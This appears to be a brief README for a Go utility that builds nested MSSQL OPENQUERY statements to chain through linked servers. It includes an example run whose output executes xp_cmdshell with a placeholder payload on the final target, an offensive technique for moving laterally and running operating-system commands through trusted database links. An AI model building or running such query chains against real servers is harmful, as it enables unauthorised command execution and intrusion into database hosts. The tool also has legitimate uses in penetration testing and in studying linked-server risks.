Build MSSQL open query
Build MSSQL Open query from 1 to X targets.
$ go run main.go -H target1.xyz -p mypayloadwith\"quotes\" -H target2.xyz -H target3.xyz
select * from openquery("target1.xyz",'select * from openquery("target2.xyz",''select * from openquery("target3.xyz",''''select @@servername; exec xp_cmdshell ''''''''mypayloadwith"quotes"'''''''''''')'')')